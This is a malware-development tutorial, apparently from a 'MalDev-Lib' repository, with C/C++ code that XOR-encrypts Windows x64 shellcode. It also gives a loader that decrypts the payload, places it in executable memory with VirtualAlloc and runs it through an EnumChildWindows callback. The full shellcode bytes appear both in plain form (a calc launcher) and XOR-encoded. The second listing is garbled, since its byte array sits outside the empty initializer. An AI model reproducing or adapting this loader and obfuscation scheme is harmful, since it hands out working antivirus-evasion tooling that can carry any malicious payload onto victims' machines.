
XOR
Encryption:

Here you have the Github Repository used and included in the code:

https://github.com/S12cybersecurity/MalDev-Lib

This C code appears to be an example of XOR encryption applied to a shellcode. XOR encryption is a simple bitwise operation that can be used to obfuscate data. The code includes a library called lib-Shellcode/Shellcode.h (which is not provided in the snippet)

that presumably contains the necessary functions for handling the shellcode and encryption. Here’s an explanation of the code:

1. Header Files: It includes standard Windows and C headers, including <windows.h> and <stdio.h>, which provide functions for Windows API and standard I/O operations, respectively. Additionally, it appears to rely on a custom library lib-Shellcode/

Shellcode.h for shellcode-related functionality.

2. Main Function:

◦ The main function is the entry point of the program.

◦ It defines an array shellcode that contains a sequence of hexadecimal values. This shellcode will be encrypted using XOR encryption.

◦ It also defines a single-byte key variable, which is used for the XOR encryption operation. In this case, the key is set to 0x0A (10 in decimal).

◦ The len variable stores the length of the shellcode array.

3. Shellcode Initialization:

◦ It creates an instance of a Shellcode object, passing the shellcode array and its length as parameters. The purpose of this object is not clear from the provided code but appears to be part of the custom library being used.

4. XOR Encryption:

◦ It calls the XOR_encrypt method on the Shellcode object, passing the key as an argument. This method is likely responsible for encrypting the shellcode using XOR encryption with the provided key.

5. Return Value:

◦ The main function returns 0, indicating successful execution.

It’s important to note that XOR encryption is a relatively weak encryption method and is typically not suitable for securing sensitive data. In this context, it seems the code is demonstrating a simple encryption technique for educational purposes rather than for

actual security. The actual functionality and purpose of this code may depend on the implementation of the Shellcode class and the lib-Shellcode library.

Decryption and Execution:

This C code snippet appears to be decrypting and executing shellcode using XOR encryption. Here’s an explanation of the code:

1. Header Files: It includes standard Windows and C headers, including <windows.h> and <stdio.h>, for Windows API and standard I/O operations. Additionally, it relies on a custom library MalDev-Lib/lib-Shellcode/Shellcode.h for handling shellcode and

encryption/decryption functions.

2. Main Function:

◦ The main function is the entry point of the program.

◦ It defines an array shellcode that contains a sequence of hexadecimal values. This shellcode has been encrypted using XOR encryption.

◦ It also defines a single-byte key variable, which is used for the XOR decryption operation. In this case, the key is set to 0x0A (10 in decimal).

◦ The len variable stores the length of the shellcode array.

3. Shellcode Initialization:

◦ It creates an instance of a Shellcode object, passing the shellcode array and its length as parameters. This object is likely responsible for shellcode-related operations.

4. XOR Decryption:

◦ It calls the XOR_decrypt method on the Shellcode object, passing the key as an argument. This method is responsible for decrypting the shellcode using XOR decryption with the provided key.

◦ The decrypted shellcode is stored in the decrypted pointer.

5. Memory Allocation and Execution:

◦ It allocates executable memory using the VirtualAlloc function and stores the pointer to this memory in hAlloc.

◦ The decrypted shellcode is then copied into this allocated memory using memcpy.

◦ Finally, it attempts to execute the shellcode by passing the pointer to the allocated memory as a callback function to EnumChildWindows. This function is used to enumerate child windows in a Windows application, and in this context, it’s used to execute the

shellcode.

6. Return Value:

◦ The main function returns 0, indicating successful execution.

This code appears to demonstrate a simple method of shellcode decryption and execution using XOR encryption with a fixed key. The actual functionality and purpose of this code may depend on the implementation of the Shellcode class and the lib-Shellcode

library, which are not provided in the snippet.

C++ Code

#include <windows.h>
#include <stdio.h>
#include "MalDev-Lib/lib-Shellcode/Shellcode.h"

int main(){
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x00";

unsigned char key = 0x0A;
int len = sizeof(shellcode);

Shellcode sc(shellcode,len);

sc.XOR_encrypt(key);

return 0;
}

C++ Code

#include <windows.h>
#include <stdio.h>
#include "MalDev-Lib/lib-Shellcode/Shellcode.h"

int main(){
unsigned char shellcode[] = 

unsigned char key = 0x0A;
int len = sizeof(shellcode);

Shellcode sc(shellcode,len);

unsigned char * decrypted = sc.XOR_decrypt(key);

HANDLE hAlloc = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(hAlloc, decrypted, len);
EnumChildWindows((HWND) NULL, (WNDENUMPROC) hAlloc, NULL);
return 0;

}

"\xf6\x42\x89\xee\xfa\xe2\xca\xa\xa\xa\x4b\x5b\x4b\x5a\x58\x5b\x5c\x42\x3b\xd8\x6f\x42\x81\x58\x6a\x42\x81\x58\x12\x42\x81\x58\x2a\x42\x81\x78\x5a\x42\x5\xbd\x40\x40\x47\x3b\xc3\
x42\x3b\xca\xa6\x36\x6b\x76\x8\x26\x2a\x4b\xcb\xc3\x7\x4b\xb\xcb\xe8\xe7\x58\x4b\x5b\x42\x81\x58\x2a\x81\x48\x36\x42\xb\xda\x81\x8a\x82\xa\xa\xa\x42\x8f\xca\x7e\x6d\x42\xb\xda\x5a\
x81\x42\x12\x4e\x81\x4a\x2a\x43\xb\xda\xe9\x5c\x42\xf5\xc3\x4b\x81\x3e\x82\x42\xb\xdc\x47\x3b\xc3\x42\x3b\xca\xa6\x4b\xcb\xc3\x7\x4b\xb\xcb\x32\xea\x7f\xfb\x46\x9\x46\x2e\x2\x4f\
x33\xdb\x7f\xd2\x52\x4e\x81\x4a\x2e\x43\xb\xda\x6c\x4b\x81\x6\x42\x4e\x81\x4a\x16\x43\xb\xda\x4b\x81\xe\x82\x42\xb\xda\x4b\x52\x4b\x52\x54\x53\x50\x4b\x52\x4b\x53\x4b\x50\x42\x89\
xe6\x2a\x4b\x58\xf5\xea\x52\x4b\x53\x50\x42\x81\x18\xe3\x5d\xf5\xf5\xf5\x57\x42\xb0\xb\xa\xa\xa\xa\xa\xa\xa\x42\x87\x87\xb\xb\xa\xa\x4b\xb0\x3b\x81\x65\x8d\xf5\xdf\xb1\xfa\xbf\xa8\
x5c\x4b\xb0\xac\x9f\xb7\x97\xf5\xdf\x42\x89\xce\x22\x36\xc\x76\x0\x8a\xf1\xea\x7f\xf\xb1\x4d\x19\x78\x65\x60\xa\x53\x4b\x83\xd0\xf5\xdf\x69\x6b\x66\x69\xa\xa";


